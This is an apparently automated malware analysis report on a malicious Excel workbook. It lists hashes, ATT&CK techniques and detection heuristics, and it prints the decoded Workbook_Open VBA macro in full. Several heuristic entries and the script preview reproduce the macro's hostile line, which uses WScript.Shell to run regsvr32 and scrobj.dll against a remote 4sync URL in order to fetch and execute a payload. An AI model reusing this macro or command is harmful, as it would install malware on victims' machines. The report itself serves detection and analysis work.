Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 03126b23ee4b975e…

MALICIOUS

Office (OOXML)

13.5 KB Created: 2021-07-01 11:29:17 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-07
MD5: 78e4eb9cc04084195902a73b9ca58c26 SHA-1: 1313d79f89fcb32902eb744d983e10e03a924188 SHA-256: 03126b23ee4b975ef5b9f6e2b9137a8aa575817633883885912350ffb0fafba3
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an OOXML document containing a Workbook_Open VBA macro. This macro utilizes WScript.Shell and CreateObject to execute obfuscated code. While the exact payload is truncated, the presence of these functions indicates an attempt to run arbitrary commands or manipulate the system, likely to download and execute a second-stage payload. The macro's primary function appears to be obfuscation and execution of further malicious actions.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
        .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
 .Show
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
For RJXXWPdC = 1 To AOPKwSQ
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4141 bytes
SHA-256: db054cd35d80d93cdfd88a06da96ddaa207660760b05c6cd0de73e6cf96d28c0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
For RJXXWPdC = 1 To AOPKwSQ
    PEBO = OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC).Value
    OFFbYGco = OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC).Value
    Select Case True
        Case PEBO = "REWDkhnJIsJsBUCJCaGNwapwevhtn:": OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC).Font.Bold = True
        Case InStr(1, PEBO, "CnXIJPwnushzTfIzfWsVswsTsXsLFpTkDctGCRuJbGYnVQaCHBKVLLtvYdvL: ")
            OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC & ":OJfsfEYNpfRNkZGZNeQSzCLSBiHcwAMfRTVcefQFDtJuYoMfFeNBbUpuXuVYW" & RJXXWPdC).Interior.ColorIndex = 15
            OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC).Font.Bold = True
        Case InStr(1, OFFbYGco, "IIWWUXBaSHJYLPYkedRNIb"): OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & (RJXXWPdC + 2)).Interior.ColorIndex = 37
        Case InStr(1, OFFbYGco, "ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt"): OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & (RJXXWPdC + 2)).Interior.ColorIndex = 3
        Case InStr(1, OFFbYGco, "dSKnEbuBBEzIAMIoJKYZDFiALGDrV"): OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & (RJXXWPdC + 2)).Interior.Color = RGB(50, 205, 50)
    End Select
Next RJXXWPdC
Application.DisplayAlerts = True

With Application.FileDialog(msoFileDialogFilePicker)
      .AllowMultiSelect = False
    'CHcMiwyDiQOrkEByeIGfhHdnSJvdrBX  oPindkSw RJXXWPdC  LfokwMQH
    .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
 .Show
 'CnXIJPwnushzTfIzfWsVswsTsXsLFpTkDctGCRuJbGYnVQaCHBKVLLtvYdvL IIWWUXBaSHJYLPYkedRNIb IIWWUXBaSHJYLPYkedRNIb /nIoELBKRkWkUwvnOTfVftCUGKMKQIF oPindkSw IIWWUXBaSHJYLPYkedRNIb IIWWUXBaSHJYLPYkedRNIb IIWWUXBaSHJYLPYkedRNIb oPindkSw

End With
If InStr(fullpath, ".scrTucsPTHJXUGFHFHkJA") = 0 Then
 
    Exit Sub
End If

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: 93331b5ecf1cb81b12116953ea90e3998f4f82207344ec4dabd0a57a8e7f2276

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